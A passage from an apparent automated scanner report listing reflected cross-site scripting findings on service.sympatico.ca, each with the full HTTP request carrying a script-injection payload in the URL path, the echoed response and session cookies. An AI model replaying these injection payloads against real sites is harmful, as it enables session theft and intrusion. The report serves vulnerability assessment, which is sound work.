ternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:04:35 GMT
Connection: close
Set-Cookie: SMSESSION=+2QshPp56xhIYBZ2s4K1iCAZJ3cMa0I43ov0ADeKSNRFus9fgEKbpQP9jcuOksA4HwxsztcLE2S8Yj2My1nWsNAyNpCaZUvpI4L47RS/QVO2whVtVgLK2Khc9X0IOitWT2A8YfUI6SHFZvmmJKlUuuHJLVd3LQSNDKC4n5MYUR/bboTsmXC5XA4P5WYL0y5VRNXWCmdj09jORhPPUdBlrTT9A+rxcYf02BaqampyE3tPB3ArqluUVY5XJcx+Kqy//jbjo/QcfY+V0bm/HxJ6HGHeGcUBCtUr7zULMaERb8ZVgnN/J4K2dA==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:04:36 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:04:36 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:04:36 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:04:36 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:04:36 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:04:36 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:04:36 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:04:36 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:04:36 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:04:36 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
input type="hidden" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/cssacc46"><script>alert(1)</script>888eae8f83c/screen_print.css" />
...[SNIP]...

2.241. https://service.sympatico.ca/css/screen_print.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /css/screen_print.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8d2c4"><script>alert(1)</script>8164e3663c0 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /css/screen_print.css8d2c4"><script>alert(1)</script>8164e3663c0 HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:04:41 GMT
Connection: close
Set-Cookie: SMSESSION=QIPlqlED1FmdYL5XGEXxKdvadtLiUzRO+9W5lMEC/2XX1SU57+0rMOQTubAXtMzxLv+8q15ZIYcUGkEgK+iftWjRi2YBM3f0RKdiNtumlN0bY3Fe05A1bqFhkJxAwYZdBwt8gP1hHle/MXDgERNC2JIG75UNntPQLVvYdu+i6Zu7Bcbo/cUIce/lD3kX2dq37OUqPliBbg3tEu0haZwWtY09v9ly0An1fj5Zp91bENgsoceI91r3/+adc0lXiTuEMLV6DGmdJ1PiANGm3anrsQbFv5NBOcQUosIxYbtRCRW0XqlUUI6E3w==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:04:41 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:04:41 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:04:41 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:04:41 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:04:41 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:04:41 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:04:41 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:04:41 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:04:41 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:04:41 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
n" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/css/screen_print.css8d2c4"><script>alert(1)</script>8164e3663c0" />
...[SNIP]...

2.242. https://service.sympatico.ca/css/tooltip.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /css/tooltip.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e8ea9"><script>alert(1)</script>6b52d4dff44 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /csse8ea9"><script>alert(1)</script>6b52d4dff44/tooltip.css HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:04:41 GMT
Connection: close
Set-Cookie: SMSESSION=qhhfeyzJr0npfC816dWGd/n1TuXF5QeU+wLn7l2ExRGCHd272OIFc7PQXjQpNKE/CC5AR1ATAGfJAmUU5Y22E0hz4YIer6ffP6r9pnGAogmgyFCxjakxK97sEIHEXanIN65XoilF7MwpNYMRwxPuK9YXI8C+ODI/EEoVbfPlGdLh87qQhG/gBwvZV84uBfDIP4YFW+BlWHIqMkU6Th11tjGUn6H1s4hRIJURa+FKTQx9fXWrGgcarymZJpD4zc8wSaOpXKexyQ3shXFaeyiQeC1Q7ZRvfNPdtYpL/zoaBqtPBb829G2dgg==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:04:41 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:04:41 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:04:41 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:04:41 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:04:41 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:04:41 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:04:41 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:04:41 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:04:41 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:04:41 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
input type="hidden" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/csse8ea9"><script>alert(1)</script>6b52d4dff44/tooltip.css" />
...[SNIP]...

2.243. https://service.sympatico.ca/css/tooltip.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /css/tooltip.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload efe7b"><script>alert(1)</script>3913fa5f9fe was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /css/tooltip.cssefe7b"><script>alert(1)</script>3913fa5f9fe HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FL